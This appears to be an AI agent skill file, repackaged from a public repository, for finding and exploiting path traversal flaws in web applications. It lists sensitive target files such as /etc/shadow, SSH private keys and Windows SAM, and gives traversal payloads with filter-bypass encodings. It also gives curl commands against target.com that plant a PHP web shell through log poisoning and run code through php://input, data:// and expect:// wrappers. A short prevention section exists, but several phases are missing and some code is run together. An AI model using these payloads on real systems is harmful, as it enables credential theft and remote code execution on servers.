File Path Traversal Testing workflow skill. Use this skill when the user needs Identify and exploit file path traversal (directory traversal) vulnerabilities that allow attackers to read arbitrary files on the server, potentially including sensitive configuration files, credentials, and source code and the operator should preserve the upstream workflow, copied support files, and provenance before merging or handing off.
File Path Traversal Testing workflow skill. Use this skill when the user needs Identify and exploit file path traversal (directory traversal) vulnerabilities that allow attackers to read arbitrary files on the server, potentially including sensitive configuration files, credentials, and source code and the operator should preserve the upstream workflow, copied support files, and provenance before merging or handing off.
This public intake copy packages plugins/antigravity-awesome-skills/skills/file-path-traversal from https://github.com/sickn33/antigravity-awesome-skills into the native Omni Skills editorial shape without hiding its origin.
Use it when the operator needs the upstream workflow, support files, and repository context to stay intact while the public validator and private enhancer continue their normal downstream flow.
This intake keeps the copied upstream files intact and uses the external_source block in metadata.json plus ORIGIN.md as the provenance anchor for review.
AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments. # File Path Traversal Testing
Imported source sections that did not map cleanly to the public headings are still preserved below or in the support files. Notable imported sections: Purpose, Prerequisites, Outputs and Deliverables, Constraints and Limitations.
When to Use This Skill
Use this section as the trigger filter. It should make the activation boundary explicit before the operator loads files, runs commands, or opens a pull request.
This skill is applicable to execute the workflow or actions described in the overview.
Use when the request clearly matches the imported source intent: Identify and exploit file path traversal (directory traversal) vulnerabilities that allow attackers to read arbitrary files on the server, potentially including sensitive configuration files, credentials, and source code.
Use when the operator should preserve upstream workflow detail instead of rewriting the process from scratch.
Use when provenance needs to stay visible in the answer, PR, or review packet.
Use when copied upstream references, examples, or scripts materially improve the answer.
Use when the workflow should remain reviewable in the public intake repo before the private enhancer takes over.
Operating Table
Situation
Start here
Why it matters
First-time use
metadata.json
Confirms repository, branch, commit, and imported path through the external_source block before touching the copied workflow
Provenance review
ORIGIN.md
Gives reviewers a plain-language audit trail for the imported source
Workflow execution
SKILL.md
Starts with the smallest copied file that materially changes execution
Supporting context
SKILL.md
Adds the next most relevant copied source file without loading the entire package
Handoff decision
## Related Skills
Helps the operator switch to a stronger native skill when the task drifts
Workflow
This workflow is intentionally editorial and operational at the same time. It keeps the imported source useful to the operator while still satisfying the public intake standards that feed the downstream enhancer flow.
../ sequence moves up one directory
Chain multiple sequences to reach root
Access files outside intended directory
Confidentiality - Read sensitive files
Integrity - Write/modify files (in some cases)
Availability - Delete files (in some cases)
Code Execution - If combined with file upload or log poisoning
Imported Workflow Notes
Imported: Core Workflow
Phase 1: Understanding Path Traversal
Path traversal occurs when applications use user input to construct file paths:
# System files
/etc/passwd # User accounts
/etc/shadow # Password hashes (root only)
/etc/group # Group information
/etc/hosts # Host mappings
/etc/hostname # System hostname
/etc/issue # System banner# SSH files
/root/.ssh/id_rsa # Root private key
/root/.ssh/authorized_keys # Authorized keys
/home/<user>/.ssh/id_rsa # User private keys
/etc/ssh/sshd_config # SSH configuration# Web server files
/etc/apache2/apache2.conf
/etc/nginx/nginx.conf
/etc/apache2/sites-enabled/000-default.conf
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
# Application files
/var/www/html/config.php
/var/www/html/wp-config.php
/var/www/html/.htaccess
/var/www/html/web.config
# Process information
/proc/self/environ # Environment variables
/proc/self/cmdline # Process command line
/proc/self/fd/0 # File descriptors
/proc/version # Kernel version# Common application configs
/etc/mysql/my.cnf
/etc/postgresql/*/postgresql.conf
/opt/lampp/etc/httpd.conf
Phase 6: Windows Target Files
Windows-specific targets:
# System files
C:\windows\win.ini
C:\windows\system.ini
C:\boot.ini
C:\windows\system32\drivers\etc\hosts
C:\windows\system32\config\SAM
C:\windows\repair\SAM
# IIS files
C:\inetpub\wwwroot\web.config
C:\inetpub\logs\LogFiles\W3SVC1\
# Configuration files
C:\xampp\apache\conf\httpd.conf
C:\xampp\mysql\data\mysql\user.MYD
C:\xampp\passwords.txt
C:\xampp\phpmyadmin\config.inc.php
# User files
C:\Users\<user>\.ssh\id_rsa
C:\Users\<user>\Desktop\
C:\Documents and Settings\<user>\
Phase 7: Automated Testing
Using Burp Suite
1. Capture request with file parameter
2. Send to Intruder
3. Mark file parameter value as payload position
4. Load path traversal wordlist
5. Start attack
6. Filter responses by size/content for success
# Inject PHP code into logs
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/
# Include Apache log file
curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id"# Include auth.log (SSH)# First: ssh '<?php system($_GET["cmd"]); ?>'@target.com
curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami"
Proc/self/environ
# Inject via User-Agent
curl -A "<?php system('id'); ?>" \
"http://target.com/page?file=/proc/self/environ"# With command parameter
curl -A "<?php system(\$_GET['c']); ?>" \
"http://target.com/page?file=/proc/self/environ&c=whoami"
PHP Wrapper Exploitation
# php://filter - Read source code as base64
curl "http://target.com/page?file=php://filter/convert.base64-encode/resource=config.php"# php://input - Execute POST data as PHP
curl -X POST -d "<?php system('id'); ?>" \
"http://target.com/page?file=php://input"# data:// - Execute inline PHP
curl "http://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=id"# expect:// - Execute system commands
curl "http://target.com/page?file=expect://id"
Phase 9: Testing Methodology
Structured testing approach:
# Step 1: Identify potential parameters# Look for file-related functionality# Step 2: Test basic traversal
../../../etc/passwd
# Step 3: Test encoding variations
..%2F..%2F..%2Fetc%2Fpasswd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
# Step 4: Test bypass techniques
....//....//....//etc/passwd
..;/..;/..;/etc/passwd
# Step 5: Test absolute paths
/etc/passwd
# Step 6: Test with null bytes (legacy)
../../../etc/passwd%00.jpg
# Step 7: Attempt wrapper exploitation
php://filter/convert.base64-encode/resource=index.php
# Step 8: Attempt log poisoning for RCE
Phase 10: Prevention Measures
Secure coding practices:
// PHP: Use basename() to strip paths$filename = basename($_GET['file']);
$path = "/var/www/files/" . $filename;
// PHP: Validate against whitelist$allowed = ['report.pdf', 'manual.pdf', 'guide.pdf'];
if (in_array($_GET['file'], $allowed)) {
include("/var/www/files/" . $_GET['file']);
}
// PHP: Canonicalize and verify base path$base = "/var/www/files/";
$realBase = realpath($base);
$userPath = $base . $_GET['file'];
$realUserPath = realpath($userPath);
if ($realUserPath && strpos($realUserPath, $realBase) === 0) {
include($realUserPath);
}
# Python: Use os.path.realpath() and validateimport os
defsafe_file_access(base_dir, filename):
# Resolve to absolute path
base = os.path.realpath(base_dir)
file_path = os.path.realpath(os.path.join(base, filename))
# Verify file is within base directoryif file_path.startswith(base):
returnopen(file_path, 'r').read()
else:
raise Exception("Access denied")
Imported: Purpose
Identify and exploit file path traversal (directory traversal) vulnerabilities that allow attackers to read arbitrary files on the server, potentially including sensitive configuration files, credentials, and source code. This vulnerability occurs when user-controllable input is passed to filesystem APIs without proper validation.
Examples
Example 1: Ask for the upstream workflow directly
Use @file-path-traversal-v2 to handle <task>. Start from the copied upstream workflow, load only the files that change the outcome, and keep provenance visible in the answer.
Explanation: This is the safest starting point when the operator needs the imported workflow, but not the entire repository.
Example 2: Ask for a provenance-grounded review
Review @file-path-traversal-v2 against metadata.json and ORIGIN.md, then explain which copied upstream files you would load first and why.
Explanation: Use this before review or troubleshooting when you need a precise, auditable explanation of origin and file selection.
Example 3: Narrow the copied support files before execution
Use @file-path-traversal-v2 for <task>. Load only the copied references, examples, or scripts that change the outcome, and name the files explicitly before proceeding.
Explanation: This keeps the skill aligned with progressive disclosure instead of loading the whole copied package by default.
Example 4: Build a reviewer packet
Review @file-path-traversal-v2 using the copied upstream files plus provenance, then summarize any gaps before merge.
Explanation: This is useful when the PR is waiting for human review and you want a repeatable audit packet.
Best Practices
Treat the generated public skill as a reviewable packaging layer around the upstream repository. The goal is to keep provenance explicit and load only the copied source material that materially improves execution.
Keep the imported skill grounded in the upstream repository; do not invent steps that the source material cannot support.
Prefer the smallest useful set of support files so the workflow stays auditable and fast to review.
Keep provenance, source commit, and imported file paths visible in notes and PR descriptions.
Point directly at the copied upstream files that justify the workflow instead of relying on generic review boilerplate.
Treat generated examples as scaffolding; adapt them to the concrete task before execution.
Route to a stronger native skill when architecture, debugging, design, or security concerns become dominant.
Troubleshooting
Problem: The operator skipped the imported context and answered too generically
Symptoms: The result ignores the upstream workflow in plugins/antigravity-awesome-skills/skills/file-path-traversal, fails to mention provenance, or does not use any copied source files at all.
Solution: Re-open metadata.json, ORIGIN.md, and the most relevant copied upstream files. Check the external_source block first, then restate the provenance before continuing.
Problem: The imported workflow feels incomplete during review
Symptoms: Reviewers can see the generated SKILL.md, but they cannot quickly tell which references, examples, or scripts matter for the current task.
Solution: Point at the exact copied references, examples, scripts, or assets that justify the path you took. If the gap is still real, record it in the PR instead of hiding it.
Problem: The task drifted into a different specialization
Symptoms: The imported skill starts in the right place, but the work turns into debugging, architecture, design, security, or release orchestration that a native skill handles better.
Solution: Use the related skills section to hand off deliberately. Keep the imported provenance visible so the next skill inherits the right context instead of starting blind.
Imported Troubleshooting Notes
Imported: Troubleshooting
Problem
Solutions
No response difference
Try encoding, blind traversal, different files
Payload blocked
Use encoding variants, nested sequences, case variations
@00-andruia-consultant - Use when the work is better handled by that native specialization after this imported skill establishes context.
@00-andruia-consultant-v2 - Use when the work is better handled by that native specialization after this imported skill establishes context.
@10-andruia-skill-smith - Use when the work is better handled by that native specialization after this imported skill establishes context.
@10-andruia-skill-smith-v2 - Use when the work is better handled by that native specialization after this imported skill establishes context.
Additional Resources
Use this support matrix and the linked files below as the operator packet for this imported skill. They should reflect real copied source material, not generic scaffolding.
Resource family
What it gives the reviewer
Example path
references
copied reference notes, guides, or background material from upstream
references/n/a
examples
worked examples or reusable prompts copied from upstream
examples/n/a
scripts
upstream helper scripts that change execution or validation
scripts/n/a
agents
routing or delegation notes that are genuinely part of the imported package
agents/n/a
assets
supporting assets or schemas copied from the source package
